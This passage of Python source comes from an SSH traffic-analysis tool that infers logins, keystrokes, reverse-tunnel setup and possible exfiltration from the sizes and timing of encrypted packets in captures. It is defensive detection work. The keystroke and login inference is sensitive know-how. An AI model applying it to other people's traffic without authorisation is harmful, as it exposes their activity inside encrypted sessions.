576 | relative_timestamp = float(pcap[i + 1].sniff_timestamp) - timestamp_first
577 | results_f_logins = results_f_logins + [['forward', 'login success',
578 | i, i + 1,
579 | abs(matrix[i + 1]), 2, relative_timestamp]]
580 | # This is used later as a stop point on scans for password prompts and key accepts
581 | fwd_logged_in_at_packet = i
582 | # Stop looking when the log in has been seen
583 | break
584 | return results_f_logins, fwd_logged_in_at_packet
585 |
586 |
587 | def scan_for_reverse_login_attempts(matrix, meta_size, pcap, reverse_init_start):
588 | """Looks for successful and unsuccessful forward SSH logins"""
589 |
590 | results_r_logins = []
591 | size_reverse_login_prompt = -meta_size[5] + 40 + 8
592 | timestamp_first = float(pcap[0].sniff_timestamp)
593 | # only look at the 300 packets after the first reverse session initiation
594 | # TODO what if there are mutiple reverse sessions within the single fwd ?
595 | for i in range(reverse_init_start, min((len(matrix) - 4), 300)):
596 | if matrix[i] == size_reverse_login_prompt and \
597 | matrix[i + 1] < -size_reverse_login_prompt and \
598 | matrix[i + 2] > size_reverse_login_prompt and \
599 | matrix[i + 3] < -size_reverse_login_prompt and \
600 | matrix[i + 4] == size_reverse_login_prompt:
601 | relative_timestamp = float(pcap[i].sniff_timestamp) - timestamp_first
602 | results_r_logins = results_r_logins + [['reverse', 'login prompt ',
603 | i, i + 4,
604 | abs(matrix[i]), 4, relative_timestamp]]
605 | # The packet directly after the login prompt is when the password is entered
606 | relative_timestamp = float(pcap[i + 1].sniff_timestamp) - timestamp_first
607 | results_r_logins = results_r_logins + [['reverse', 'login failure',
608 | i, i + 4,
609 | abs(matrix[i + 1]), 4, relative_timestamp]]
610 | if matrix[i] == size_reverse_login_prompt and \
611 | matrix[i + 1] < -size_reverse_login_prompt and \
612 | 0 < matrix[i + 2] < size_reverse_login_prompt and \
613 | matrix[i + 3] < -size_reverse_login_prompt and \
614 | 0 < matrix[i + 4] < size_reverse_login_prompt:
615 |
616 | relative_timestamp = float(pcap[i].sniff_timestamp) - timestamp_first
617 | results_r_logins = results_r_logins + [['reverse', 'login prompt ',
618 | i, i + 4,
619 | abs(matrix[i]), 4, relative_timestamp]]
620 | # The packet directly after the login prompt is when the password is entered
621 | relative_timestamp = float(pcap[i + 1].sniff_timestamp) - timestamp_first
622 | results_r_logins = results_r_logins + [['reverse', 'login success',
623 | i, i + 4,
624 | abs(matrix[i + 1]), 4, relative_timestamp]]
625 | # Stop looking once reverse is logged in
626 | break
627 | return results_r_logins
628 |
629 |
630 | def scan_for_forward_keystrokes(matrix, meta_size, pcap, fwd_logged_in_at_packet):
631 | """ Looks for forward key strokes """
632 | results_f_keystroke = []
633 | forward_keystroke_size = meta_size[2] - 8
634 | packets_infiltrated = 0
635 | bytes_infiltated = 0
636 | keystrokes = 0
637 |
638 | timestamp_first = float(pcap[0].sniff_timestamp)
639 | # Skip over packets prior to successful login as there are no keylogs there
640 | i = fwd_logged_in_at_packet
641 |
642 | while i < len(matrix) - 2:
643 | size_this = matrix[i]
644 | size_next = matrix[i + 1]
645 | size_next_next = matrix[i + 2]
646 | if size_this == forward_keystroke_size:
647 |
648 | if size_next == -forward_keystroke_size and size_next_next == forward_keystroke_size:
649 | relative_timestamp = float(pcap[i].sniff_timestamp) - timestamp_first
650 | keystrokes = keystrokes + 1
651 | results_f_keystroke = results_f_keystroke + [['forward', 'keystroke ',
652 | i, i + 1,
653 | abs(size_this), 2, relative_timestamp]]
654 | i = i + 2
655 | elif size_next == -(forward_keystroke_size + 8) and size_next_next == forward_keystroke_size:
656 | relative_timestamp = float(pcap[i].sniff_timestamp) - timestamp_first
657 | keystrokes = keystrokes + 1
658 | results_f_keystroke = results_f_keystroke + [['forward', '< delete/ac ',
659 | i, i + 1,
660 | abs(size_this), 2, relative_timestamp]]
661 | i = i + 2
662 | # If packet is server packet, and bigger than forward size (i.e not a keepalive), lets report the enter key
663 | # YMMV on tab completion see TODO. comment this out if appropriate
664 | elif size_next < -(forward_keystroke_size + 8) and size_next_next == forward_keystroke_size:
665 | relative_timestamp = float(pcap[i].sniff_timestamp) - timestamp_first
666 | keystrokes = keystrokes + 1
667 | results_f_keystroke = results_f_keystroke + [['forward', 'tab complete ',
668 | i, i + 1,
669 | abs(size_this), 2, relative_timestamp]]
670 | i = i + 1
671 |
672 | elif size_next <= -forward_keystroke_size and size_next_next <= -forward_keystroke_size and keystrokes > 0:
673 | i_enterkey_pressed = i
674 | finish = i + 2
675 | # Look forward past the return and calculate the number of bytes in subsequent Server packets
676 | relative_timestamp = float(pcap[i].sniff_timestamp) - timestamp_first
677 | while finish < len(matrix):
678 | # A client packet signifies the end of a contiguous server block of packets
679 | if matrix[finish] > 0:
680 | i = finish
681 | break
682 | packets_infiltrated = packets_infiltrated + 1
683 | bytes_infiltated = bytes_infiltated + abs(matrix[finish])
684 | finish = finish + 1
685 | i = i + 1
686 | results_f_keystroke = results_f_keystroke + [['forward', '_\u2503 ENTER ',
687 | i_enterkey_pressed, i,
688 | bytes_infiltated, packets_infiltrated,
689 | relative_timestamp]]
690 | packets_infiltrated = 0
691 | bytes_infiltated = 0
692 | keystrokes = 0
693 | else:
694 | i = i + 1
695 |
696 | # This component seems to FP on some file transfers. uncomment this if you like though. YMMV
697 | # elif (size_this == (forward_keystroke_size + 8) and size_next <= -(forward_keystroke_size + 8)) or \
698 | # ((forward_keystroke_size + 40) > size_this > forward_keystroke_size and
699 | # size_next == -size_this):
700 | # relative_timestamp = float(pcap[i].sniff_timestamp) - timestamp_first
701 | # results_f_keystroke = results_f_keystroke + [['forward', 'UP/DOWN/Paste',
702 | # i, i + 1,
703 | # abs(size_this), 2, relative_timestamp]]
704 | # keystrokes = keystrokes + 1
705 | # i = i + 2
706 |
707 | else:
708 | i = i + 1
709 |
710 | return results_f_keystroke
711 |
712 |
713 | def scan_for_reverse_session_R_option(pcap, matrix,meta_size):
714 | """Looks for evidence of the -R option being used during the initial forward connection
715 | This indicates that the forward session has explicitly been created to support reverse SSH"""
716 | results_f_R_flag_used = []
717 | num_packets = len(matrix)
718 | timestamp_first = float(pcap[0].sniff_timestamp)
719 | stop_at = min((num_packets - 10), 100)
720 | size_login_prompt = meta_size[5]
721 |
722 | for i in range(0, stop_at):
723 | if i == stop_at:
724 | break
725 | if 'message_code' in dir(pcap[i].ssh):
726 | # look for 'New Keys' code packet 21
727 | if int(pcap[i].ssh.message_code) == 21 and 'message_code' not in dir(pcap[i + 1].ssh):
728 | # We have found the newkeys packets and can count from here to detect -R anomaly
729 |
730 | offset = 4
731 | # look ahead for the login prompt size, the first one should be at +4 packets from here
732 | # Only look forward 20 packets as an offset, this should be plenty enough to cater for failed passwords
733 | # debug print('i={}'.format(i))
734 | # debug print(matrix[i])
735 | while ((i + offset + 7) < stop_at) and offset < 20 :
736 | #debug print('offset={}'.format(offset))
737 | #debug print(i + offset + 7)
738 | #debug print(matrix[i + offset + 3])
739 | if (matrix[i + offset]) == size_login_prompt:
740 | if matrix[i + offset + 2] != size_login_prompt:
741 | # check for behaviour often but not always exhibited by mac clients when -R is used
742 | if (matrix[i + offset + 3] > 0 and
743 | matrix[i + offset + 4] < 0 and
744 | matrix[i + offset + 4] != size_login_prompt and
745 | matrix[i + offset + 5] > 0 and
746 | matrix[i + offset + 6] < 0 and
747 | matrix[i + offset + 6] != size_login_prompt and
748 | abs(matrix[i + offset + 6]) < abs(matrix[i + offset + 5])):
749 | relative_timestamp = float(pcap[i + 10].sniff_timestamp) - timestamp_first
750 | results_f_R_flag_used = (results_f_R_flag_used + [['reverse', '-R used ',
751 | (i + offset + 7), (i + offset + 7), abs(matrix[i + offset + 7]), 3, relative_timestamp]])
752 | # print('found a type 1 style -R')
753 | break
754 | # check for behaviour often exhibited by ubuntu clients when -R is used
755 | elif (matrix[i + offset + 3] > 0 and
756 | matrix[i + offset + 4] > 0 and
757 | matrix[i + offset + 5] < 0 and
758 | matrix[i + offset + 5] != size_login_prompt and
759 | matrix[i + offset + 6] < 0 and
760 | matrix[i + offset + 6] != size_login_prompt and
761 | abs(matrix[i + offset + 6]) < abs(matrix[i + offset + 5]) and
762 | matrix[i + offset + 7] > 0):
763 |
764 | relative_timestamp = float(pcap[i + 10].sniff_timestamp) - timestamp_first
765 | results_f_R_flag_used = (results_f_R_flag_used + [['reverse', '-R used ',
766 | (i + offset + 7), (i + offset + 7), abs(matrix[i + offset + 7]), 3, relative_timestamp]])
767 | # print('found a type 2 style -R')
768 | break
769 | offset = offset + 1
770 |
771 |
772 | return results_f_R_flag_used
773 |
774 |
775 | def scan_for_reverse_session_initiation(matrix, meta_size, pcap):
776 | """Looks for when a Reverse sesssion is initiated by watching for reverse meta"""
777 | reverse_init_start = 0
778 | results_r_init = []
779 | size_newkeys_next = meta_size[2]
780 | size_newkeys_next2 = meta_size[3]
781 | timestamp_first = float(pcap[0].sniff_timestamp)
782 |
783 | for i in range(0, len(matrix) - 3):
784 | if matrix[i + 1] == -(size_newkeys_next + 40) and \
785 | matrix[i + 2] == -(size_newkeys_next2 - 40) and \
786 | matrix[i + 3] < 0 and \
787 | abs(matrix[i + 3]) >= (matrix[i + 2]):
788 | relative_timestamp = float(pcap[i + 1].sniff_timestamp) - timestamp_first
789 | reverse_init_start = i
790 | finish = i + 3
791 | results_r_init = (results_r_init + [['reverse', 'session init ',
792 | reverse_init_start, finish,
793 | abs(matrix[i + 1]), 3, relative_timestamp]])
794 | return results_r_init, reverse_init_start
795 |
796 |
797 | def scan_for_reverse_keystrokes(matrix, meta_size, pcap, reverse_init_start):
798 | """ Looks for reverse key strokes """
799 | results_r_keystroke = []
800 | reverse_keystroke_size = meta_size[1]
801 | packets_exfiltrated = 0
802 | bytes_exfiltated = 0
803 | keystrokes = 0
804 | timestamp_first = float(pcap[0].sniff_timestamp)
805 | # Skip over all packets prior to reverse_init_start as there are no reverse keystrokes here
806 | i = reverse_init_start - 1
807 |
808 | while i < len(matrix) - 2:
809 | size_this = matrix[i]
810 | size_next = matrix[i + 1]
811 | size_next_next = matrix[i + 2]
812 | if size_this == reverse_keystroke_size:
813 |
814 | if size_next == -reverse_keystroke_size and size_next_next == reverse_keystroke_size:
815 | keystrokes = keystrokes + 1
816 | relative_timestamp = float(pcap[i].sniff_timestamp) - timestamp_first
817 | results_r_keystroke = results_r_keystroke + [['reverse', 'keystroke ',
818 | i, i + 1,
819 | abs(size_this), 2, relative_timestamp]]
820 | i = i + 2
821 | # debug changed +8 to -8
822 | elif size_next == -(reverse_keystroke_size - 8) and size_next_next == reverse_keystroke_size:
823 |
824 | keystrokes = keystrokes + 1
825 | relative_timestamp = float(pcap[i].sniff_timestamp) - timestamp_first
826 | results_r_keystroke = results_r_keystroke + [['reverse', '< delete ',
827 | i, i + 1,
828 | abs(size_this), 2, relative_timestamp]]
829 | i = i + 2
830 |
831 | # If packet is client packet, but is not the delete key size, lets report the enter key
832 | # debug changed +8 to -8
833 | elif size_next == -reverse_keystroke_size and \
834 | size_next_next > -(reverse_keystroke_size - 8) and keystrokes > 0:
835 | relative_timestamp = float(pcap[i].sniff_timestamp) - timestamp_first
836 | i_enterkey_pressed = i
837 | finish = i + 2
838 | # Look forward past the return and calculate the number of bytes in subsequent Client packets
839 | while finish < len(matrix):
840 | # A server packet signifies the end of a contiguous server block of packets
841 | if matrix[finish] < 0:
842 | i = finish
843 | break
844 | packets_exfiltrated = packets_exfiltrated + 1
845 | bytes_exfiltated = bytes_exfiltated + abs(matrix[finish])
846 | finish = finish + 1
847 | i = i + 1
848 |
849 | results_r_keystroke = results_r_keystroke + [['reverse', '_\u2503 ENTER ',
850 | i_enterkey_pressed, i,
851 | bytes_exfiltated, packets_exfiltrated,
852 | relative_timestamp]]
853 | packets_exfiltrated = 0
854 | bytes_exfiltated = 0
855 | keystrokes = 0
856 | else:
857 | i = i + 1
858 |
859 | else:
860 | i = i + 1
861 | return results_r_keystroke
862 |
863 |
864 | def construct_window_matrix(pcap, matrix, stream, window, stride, meta_size, reverse_init_start, results):
865 | """Returns window_matrix containing features of window analysis
866 | Each packet has a row of features in window_matrix"""
867 | # Splay defined as amount of packets to the left (and right)
868 | # of the midpoint of the window
869 | splay = int((window - int(window % 2))) / 2
870 | # Set the initial mid point (datum) of the first window
871 | max_client_packet_size = max_server_packet_size = 0
872 |
873 | datum = int(splay)
874 | window_matrix = []
875 |
876 | # calculate time ranges in order to use in min-max feature normalization of timestamps
877 | print(' ... Building features with window size = {}, stride = {}'.format(window, stride))
878 | print(' ... Calculating first packet timestamp')
879 | time_first_packet = float(pcap[0].sniff_timestamp)
880 | print(' ... Calculating last packet timestamp')
881 | time_last_packet = pcap[len(matrix) - 1].sniff_timestamp
882 | time_last_packet = float(time_last_packet)
883 | time_range = time_last_packet - time_first_packet
884 | sniff_timestamp_last = time_first_packet
885 | # calculate time Delta range in order to use in min-max feature normalization of time deltas
886 | delta_max = 0
887 | print(' ... Calculating Max Packet delta')
888 | for i in range(0, len(matrix)):
889 | sniff_timestamp = float(pcap[i].sniff_timestamp)
890 | delta = round(sniff_timestamp - sniff_timestamp_last, 3)
891 | if delta > delta_max:
892 | delta_max = delta
893 | sniff_timestamp_last = sniff_timestamp
894 | # Reset the initial sniff_timestamp_last after calculating feature scaling params
895 | sniff_timestamp_last = time_first_packet
896 | # The "datum" is the center packet of the window
897 | print(' ... Striding through windows of size {}'.format(window))
898 | while datum < (len(matrix) - splay) \
899 | and window < (len(matrix) - 1):
900 | datum_packet_size = matrix[datum]
901 | server_packets = 0
902 | server_packets_size = 0
903 | client_packets = 0
904 | client_packets_size = 0
905 | client_packets_list = []
906 | server_packets_list = []
907 | packet_size = 0
908 |
909 | for i in range(int(datum - splay), int(datum + splay + 1)):
910 | packet_size = matrix[i]
911 | if packet_size < 0:
912 | if abs(packet_size) > max_server_packet_size:
913 | max_server_packet_size = abs(packet_size)
914 | server_packets = server_packets + 1
915 | server_packets_size = server_packets_size + packet_size
916 | server_packets_list.append(int(packet_size))
917 | else:
918 | if packet_size > max_client_packet_size:
919 | max_client_packet_size = abs(packet_size)
920 | client_packets = client_packets + 1
921 | client_packets_size = client_packets_size + packet_size
922 | client_packets_list.append(int(packet_size))
923 |
924 | # If there were client packets in the window, calculate the stats
925 | if client_packets_list:
926 | client_packet_variability = round(
927 | (len(set(client_packets_list))) / len(client_packets_list), 3)
928 | normalized_client_datum_packet_size = round(
929 | abs(datum_packet_size / max_client_packet_size), 3)
930 | else:
931 | client_packet_variability = 0
932 | normalized_client_datum_packet_size = 0
933 | # If there were server packets in the window, calculate the stats
934 | if server_packets_list:
935 | server_packet_variability = round(
936 | (len(set(server_packets_list))) / len(server_packets_list), 3)
937 | normalized_server_datum_packet_size = round(
938 | abs(datum_packet_size / max_server_packet_size), 3)
939 | else:
940 | server_packet_variability = 0
941 | normalized_server_datum_packet_size = 0
942 |
943 | ratio_packets = round(
944 | (client_packets / (client_packets + server_packets)), 3)
945 | ratio_size = round(
946 | client_packets_size / (client_packets_size + abs(server_packets_size)), 3)
947 |
948 | new_window_row = [datum, stream, window, stride,
949 | normalized_client_datum_packet_size, client_packets,
950 | client_packets_size, client_packet_variability,
951 | normalized_server_datum_packet_size, server_packets,
952 | abs(server_packets_size), server_packet_variability,
953 | ratio_packets, ratio_size, packet_size, datum_packet_size]
954 | # Determine if the window size charactericts indicate exfil
955 | predict_exfiltration = predict_exfil(new_window_row, meta_size, reverse_init_start)
956 | predict_infiltration = predict_infil(new_window_row, meta_size, reverse_init_start)
957 | # Also we want to populate the matrix with atomic Enter key exfils/infils
958 | enter_child_forward, enter_child_reverse = tag_enter_child_packets(new_window_row, results)
959 |
960 | sniff_timestamp = round(float(pcap[datum].sniff_timestamp), 3)
961 | delta_normal = round((sniff_timestamp - sniff_timestamp_last) / delta_max, 3)
962 | this_time_elapsed_normal = round((sniff_timestamp - time_first_packet) / time_range, 3)
963 |
964 | sniff_timestamp_last = sniff_timestamp
965 |
966 | if predict_infiltration or enter_child_forward:
967 | predict_infiltration_aggregate = 1
968 | else:
969 | predict_infiltration_aggregate = 0
970 |
971 | if predict_exfiltration or enter_child_reverse:
972 | predict_exfiltration_aggregate = 1
973 | else:
974 | predict_exfiltration_aggregate = 0
975 |
976 | # Add these predictions and time deltas to the end of new_window_row
977 | new_window_row = [datum, stream, window, stride,
978 | normalized_client_datum_packet_size, client_packets,
979 | client_packets_size, client_packet_variability,
980 | normalized_server_datum_packet_size, server_packets,
981 | abs(server_packets_size), server_packet_variability,
982 | ratio_packets, ratio_size, predict_exfiltration,
983 | predict_infiltration,
984 | this_time_elapsed_normal, delta_normal, datum_packet_size,
985 | enter_child_forward, enter_child_reverse,
986 | predict_infiltration_aggregate, predict_exfiltration_aggregate]
987 | window_matrix.append(new_window_row)
988 | # Advance to the next datum by "stride" packets
989 | datum = datum + stride
990 | return window_matrix
991 |
992 |
993 | def tag_enter_child_packets(new_window_row, results):
994 | """tags packets that occur in contiguous blocks after an enter key has been pressed.
995 | This is useful to augment exfil/infil predictions based on separate window analysis"""
996 | enter_child_forward = 0
997 | enter_child_reverse = 0
998 | i = new_window_row[0]
999 | for result in results:
1000 | if 'ENTER' in result[1]:
1001 | start = result[2]
1002 | finish = result[3]
1003 | if start < i < finish:
1004 | if 'forward' in result[0]:
1005 | enter_child_forward = 1
1006 | elif 'reverse' in result[0]:
1007 | enter_child_reverse = 1
1008 |
1009 | return enter_child_forward, enter_child_reverse
1010 |
1011 |
1012 | def predict_exfil(new_window_row, meta_size, reverse_init_start):
1013 | ratio_packets = new_window_row[12]
1014 | ratio_size = new_window_row[13]
1015 | datum_packet_size = new_window_row[15]
1016 | max_keystroke_size = abs(meta_size[1])
1017 |
1018 | predict_exfil = 0
1019 |
1020 | # to prevent FPs, Skip the first 35 packets, as these can contain legit contiguous session init packets from client
1021 | # Also skip the 35 packets after/before reverse_init_start as these also contain legit contiguous client packets
1022 | if new_window_row[0] > 35 and not \
1023 | ((reverse_init_start - 35) < new_window_row[0] < (reverse_init_start + 35)):
1024 | # new_window_row[0] > reverse_init_start and new_window_row[0] < (reverse_init_start + 35)):
1025 | # This stems from reverse interactive command line driven exfil
1026 | if (ratio_packets == 1 and ratio_size == 1) and abs(datum_packet_size) > (1.2 * abs(max_keystroke_size)): # and
1027 | # (client_packet_variability >= round((2 / window), 3)) and
1028 | # client_packet_normalized_size > 0.3 and client_packet_normalized_size < 1.0):
1029 | predict_exfil = 1
1030 | return predict_exfil
1031 |
1032 |
1033 | def predict_infil(new_window_row, meta_size, reverse_init_start):
1034 | """Returns prediction on forward inbound file transfers"""
1035 | ratio_packets = new_window_row[12]
1036 | ratio_size = new_window_row[13]
1037 | predict_infil = 0
1038 | datum_packet_size = new_window_row[15]
1039 | max_keystroke_size = abs(meta_size[1])
1040 |
1041 | # to prevent FPs Skip the first 35 packets, as these can contain many contiguous session init packets from server
1042 | # Also skip the 30 packets prior to the reverse_init_start as these also contain server packets
1043 |
1044 | if new_window_row[0] > 35 and not (
1045 | (reverse_init_start - 30) < new_window_row[0] < reverse_init_start and new_window_row[0]):
1046 | if (ratio_packets == 0 and ratio_size == 0) and abs(datum_packet_size) > (1.2 * abs(max_keystroke_size)):
1047 | predict_infil = 1
1048 | return predict_infil
1049 |
1050 |
1051 | def zooms(zoom, num_packets):
1052 | if zoom == '0':
1053 | zleft = 0
1054 | zright = num_packets
1055 | return zleft, zright
1056 |
1057 | if '-' in zoom:
1058 | zleft = int(zoom.split("-")[0])
1059 | zright = int(zoom.split("-")[1])
1060 | if zright < zleft or zleft < 0 or zright < 0 or zleft > num_packets or zright > num_packets:
1061 | print('... ignoring out of bounds packet zooms, max zoom out is -z 0-{}'.format(num_packets))
1062 | zleft = 0
1063 | zright = num_packets
1064 | return zleft, zright
1065 | else:
1066 | print('... ignoring invalid packet zooms, the max zoom out is -z 0-{}'.format(num_packets))
1067 | zleft = 0
1068 | zright = num_packets
1069 | return zleft, zright
1070 |
1071 |
1072 | def plot_window_stat_predictions(stream, window_matrix, window, stride, file, out_plot_predictions, zleft, zright):
1073 | """Plots the window analysis including the exfil prediction
1074 | which does not rely of stream meta being known"""
1075 | df_stream = pd.DataFrame(window_matrix,
1076 | columns=['Packet number (datum)',
1077 | 'stream', 'window', 'stride', 'Client packet size (normalized)',
1078 | 'client_packets', 'client_packets_size', 'Client size variance',
1079 | 'Server packet size (normalized)', 'server_packets',
1080 | 'server_packets_size', 'Server Size variance',
1081 | 'Client:Server packet ratio', 'Client:Server size ratio',
1082 | 'Window Exfiltration prediction',
1083 | 'Window Infiltration prediction',
1084 | 'Time elapsed normalized', 'Packet Time delta normalized',
1085 | 'Datum packet size', 'Is forward enter child', 'Is reverse enter child',
1086 | 'Infiltration prediction aggregate', 'Exfiltration prediction aggregate'])
1087 | # Slice the dataframe so as to only get the zoomed selection
1088 | df_stream = df_stream.loc[zleft:zright]
1089 |
1090 | title = ("Strider - protocol:SSH" + '\n' + "Data Movement Predictions for pcap '" + file + "'\n" + 'Stream' +
1091 | str(stream) + ' - showing packets ' + str(zleft) + ' to ' + str(zright) + '\n' + 'windowsize ' + str(
1092 | window) + ' stride:' + str(stride))
1093 | df_stream.plot(kind='bar', y=[16, 17, 12, 13, 7, 4, 11, 8, 14, 15], grid=True, ylim=[0, 1.05],
1094 | yticks=[.2, .4, .6, .8, 1.0], subplots=True,
1095 | title=[title, '', '', '', '', '', '', '', '', ''], figsize=[15, 20],
1096 | color=['#FFA500', '#FFA500', 'b', 'b', '#13ee00', '#13ee00', 'm', 'm', 'r', 'c', 'c'])
1097 |
1098 | plt.xlabel('Packet number in Stream {}'.format(stream))
1099 | plt.ylabel('Normalized value')
1100 | plt.legend(loc='upper left')
1101 |
1102 | packets_to_plot = zright - zleft
1103 |
1104 | plt.xticks([i for i in range(0, packets_to_plot, int(packets_to_plot / 10))],
1105 | [i for i in range(0, packets_to_plot, int(packets_to_plot / 10))])
1106 | plt.xlim(zleft, zright)
1107 | # print('time debug - plt.savefig(out_plot_predictions)')
1108 | plt.savefig(out_plot_predictions)
1109 | # print('time debug - closing plot after saving')
1110 | plt.close(out_plot_predictions)
1111 | plt.close('all')
1112 |
1113 |
1114 | def plot_packet_size_histogram(stream, matrix, output_dir, base_file, zleft, zright):
1115 | """Plots the packet size histogram
1116 | which does not rely of stream meta being known"""
1117 | out_plot_packet_size_histogram = str('./' + output_dir + '/' + 'packet-strider-ssh ' + base_file +
1118 | ' stream ' + str(stream) + ' - Packet Size Histogram.png')
1119 | m = []
1120 | # Construct size matrix m and then dataframe df_m
1121 | for size in matrix:
1122 | if size > 0:
1123 | m = m + [[size, 0]]
1124 | else:
1125 | m = m + [[0, size]]
1126 |
1127 | df_m = pd.DataFrame(m, columns=['Client bytes sent', 'Server bytes sent'])
1128 | # Slice the dataframe so as to only get the zoomed selection, this makes plotting much faster
1129 | df_m = df_m.loc[zleft:zright]
1130 |
1131 | title = ("Strider - protocol:SSH" + '\n' + "Packet size histogram for '" + str(base_file) + "'\n" + 'Stream' + str(
1132 | stream) + ' - showing packets ' + str(zleft) + ' to ' + str(zright))
1133 | df_m.plot(kind='bar', y=[0, 1], grid=False, title=title, figsize=[12, 6.5],
1134 | color=['b', 'r'])
1135 | plt.xlabel('Packet numbers in Stream {}'.format(stream))
1136 | plt.ylabel('Bytes sent')
1137 | plt.legend(loc='best')
1138 | packets_to_plot = zright - zleft
1139 | plt.xticks([i for i in range(0, packets_to_plot, int(packets_to_plot / 10))],
1140 | [i for i in range(0, packets_to_plot, int(packets_to_plot / 10))])
1141 | plt.xlim(zleft, zright)
1142 | plt.savefig(out_plot_packet_size_histogram)
1143 | plt.close(out_plot_packet_size_histogram)
1144 | plt.close('all')
1145 |
1146 |
1147 | def plot_keystroke_timeline(stream, results, window_matrix, file, out_plot_keystroke_timeline, df_stream_meta, zleft,
1148 | zright):
1149 | """Plots the keystroke data, mapping them to time elapsed
1150 | from the first packet in the stream"""
1151 | indicators = []
1152 | client_protocol = str(df_stream_meta.loc[0, 'Client Proto'])
1153 | server_protocol = str(df_stream_meta.loc[0, 'Server Proto'])
1154 | sip = str(df_stream_meta.loc[0, 'sip'])
1155 | sport = str(df_stream_meta.loc[0, 'sport'])
1156 | dip = str(df_stream_meta.loc[0, 'dip'])
1157 | dport = str(df_stream_meta.loc[0, 'dport'])
1158 |
1159 | for result in results:
1160 | index = result[2]
1161 | r_initiation = r_login_prompt = 0
1162 | r_login_success = r_login_failure = 0
1163 | r_keystroke = r_delete = r_exfil = r_up_down_paste = 0
1164 | bytes_r_exfiled = 0
1165 |
1166 | f_key_offer = f_key_accept = f_login_prompt = 0
1167 | f_login_success = f_login_failure = f_keystroke = f_delete = f_exfil = f_up_down_paste = 0
1168 | # First do Reverse indicators
1169 | if 'reverse' in result[0]:
1170 | if ' init' in result[1]:
1171 | r_initiation = 1
1172 | elif 'prompt' in result[1]:
1173 | r_login_prompt = 0
1174 | elif 'login success' in result[1]:
1175 | r_login_success = 1
1176 | elif 'login failure' in result[1]:
1177 | r_login_failure = 1
1178 | elif 'keystroke' in result[1]:
1179 | r_keystroke = 1
1180 | elif 'delete' in result[1]:
1181 | r_delete = 1
1182 | elif 'ENTER' in result[1]:
1183 | r_exfil = 1
1184 | bytes_r_exfiled = bytes_r_exfiled + int(result[5])
1185 | elif 'UP/DOWN/Paste' in result[1]:
1186 | r_up_down_paste = 1
1187 | # Then do Forward indicators
1188 | else:
1189 | if 'key offered' in result[1]:
1190 | f_key_offer = 1
1191 | elif 'key accepted' in result[1]:
1192 | f_key_accept = 1
1193 | elif 'login prompt' in result[1]:
1194 | f_login_prompt = 1
1195 | elif 'login success' in result[1]:
1196 | f_login_success = 1
1197 | elif 'login failure' in result[1]:
1198 | f_login_failure = 1
1199 | elif 'keystroke' in result[1]:
1200 | f_keystroke = 1
1201 | elif 'delete' in result[1]:
1202 | f_delete = 1
1203 | elif 'ENTER' in result[1]:
1204 | f_exfil = 1
1205 | elif 'UP/DOWN/Paste' in result[1]:
1206 | f_up_down_paste = 1
1207 |
1208 | indicators = indicators + [
1209 | [index, r_initiation, r_login_prompt, r_login_success, r_login_failure, r_keystroke, r_delete,
1210 | r_exfil, r_up_down_paste, bytes_r_exfiled, f_key_offer, f_key_accept, f_login_prompt,
1211 | f_login_success, f_login_failure, f_keystroke, f_delete, f_exfil, f_up_down_paste]]
1212 | df_indicators = pd.DataFrame(indicators, columns=['index', 'REVERSE session initiation', 'REVERSE login prompt',
1213 | 'REVERSE login success', 'REVERSE login failure',
1214 | 'REVERSE keystroke', 'REVERSE delete',
1215 | 'REVERSE Enter', 'Reverse UP/DOWN/Paste',
1216 | 'Bytes exfiled when Reverse Enter key pressed',
1217 | 'Forward key offer', 'Forward key accept', 'Forward login prompt',
1218 | 'Forward login success', 'Forward login failure',
1219 | 'Forward keystroke', 'Forward delete', 'Forward Enter key',
1220 | 'Forward UP/DOWN/Paste'
1221 | ])
1222 | df_indicators = df_indicators.loc[zleft:zright]
1223 |
1224 | df_stream = pd.DataFrame(window_matrix,
1225 | columns=['Packet number (datum)',
1226 | 'stream', 'window', 'stride', 'Client packet size (normalized)',
1227 | 'client_packets', 'client_packets_size', 'Client size variance',
1228 | 'Server packet size (normalized)', 'server_packets',
1229 | 'server_packets_size', 'Server Size variance',
1230 | 'Client:Server packet ratio', 'Client:Server size ratio',
1231 | 'Exfil prediction',
1232 | 'Infil prediction', 'Time elapsed normalized', 'Time delta normalized',
1233 | 'Datum packet size', 'Is forward Enter child', 'Is reverse Enter child',
1234 | 'Infiltration prediction aggregate', 'Exfiltration prediction aggregate'
1235 | ])
1236 | df_stream = df_stream.loc[zleft:zright]
1237 |
1238 | df_stream_merged_results = df_stream.merge(df_indicators, how='outer', left_on='Packet number (datum)',
1239 | right_on='index').fillna(0)
1240 |
1241 | df_stream_merged_results = df_stream_merged_results.loc[zleft:zright]
1242 |
1243 | title = ("Strider - protocol:SSH Keystroke predictions timeline" + "\n" +
1244 | file + ' Stream ' + str(stream) + ' - showing packets ' + str(zleft) + ' to ' + str(zright) +
1245 | "\nClient:" + client_protocol +
1246 | "'\nServer:" + server_protocol +
1247 | "\n" + sip + ":" + sport + " -> " + dip + ":" + dport)
1248 | resolution = 2000
1249 | width = max(1, (zright-zleft)/resolution)
1250 |
1251 | df_stream_merged_results.plot(kind='bar', width=width, sharex='True', grid=True, subplots=True,
1252 | y=[36, 38, 39, 40, 21, 24, 26, 28, 29, 30, 22],
1253 | fontsize=16,
1254 | title=[title, '', '', '', '', '', '', '', '', '', ''],
1255 | color=['c', 'c', 'c', 'b', 'k', 'm', 'm', 'm', 'm',
1256 | 'r', 'k'],
1257 | figsize=[20, 20], ylim=[0, 1], yticks=[0, 1]
1258 | )
1259 |
1260 | plt.xlabel('Packet number in Stream {}'.format(stream))
1261 | plt.ylabel('Indicator')
1262 |
1263 | packets_to_plot = zright - zleft
1264 |
1265 | plt.xticks([i for i in range(0, packets_to_plot, int(packets_to_plot / 10))],
1266 | [i for i in range(0, packets_to_plot, int(packets_to_plot / 10))])
1267 | plt.xlim(zleft, zright)
1268 |
1269 | plt.savefig(out_plot_keystroke_timeline)
1270 | plt.close(out_plot_keystroke_timeline)
1271 | plt.close('all')
1272 |
1273 |
1274 | def report(results, file, matrix, window_matrix, window, stride, output_dir, df_stream_meta, do_direction,
1275 | meta_only, do_plots, time_first_packet_gmt, num_packets, zoom):
1276 | row = 0
1277 | stream = df_stream_meta.loc[row, 'stream']
1278 | client_protocol = df_stream_meta.loc[row, 'Client Proto']
1279 | server_protocol = df_stream_meta.loc[row, 'Server Proto']
1280 | hassh = df_stream_meta.loc[row, 'hassh']
1281 | hassh_server = df_stream_meta.loc[row, 'hassh_server']
1282 | sip = df_stream_meta.loc[row, 'sip']
1283 | sport = df_stream_meta.loc[row, 'sport']
